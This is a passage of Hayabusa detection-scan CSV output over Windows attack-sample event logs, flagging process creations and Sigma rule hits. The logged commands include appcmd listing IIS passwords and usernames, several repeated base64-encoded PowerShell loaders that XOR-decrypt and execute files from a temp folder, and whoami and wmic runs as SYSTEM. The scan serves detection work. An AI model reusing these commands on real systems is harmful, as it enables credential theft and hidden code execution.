D0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:20.124 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir ""Description: Cannot read configuration file due to insufficient permissions"" /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:20.204 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:20.305 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:20.435 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir "". )"" /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:20.555 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir "". )"" /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-28 00:12:38.241 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe /c whoami /groups : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\System32\notepad.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:38.290 +09:00,IEWIN7,1,informational,Process Creation,Command: whoami /groups : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: cmd.exe /c whoami /groups ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:38.290 +09:00,IEWIN7,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:38.290 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:38.290 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:43.990 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe /c %%SYSTEMROOT%%\system32\wbem\wmic.exe /output:C:\Windows\TEMP\htxjGDrk /INTERACTIVE:off /node:localhost Service where(name=""VSS"") get state : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\System32\notepad.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:44.055 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\system32\wbem\wmic.exe /output:C:\Windows\TEMP\htxjGDrk /INTERACTIVE:off /node:localhost Service where(name=""VSS"") get state 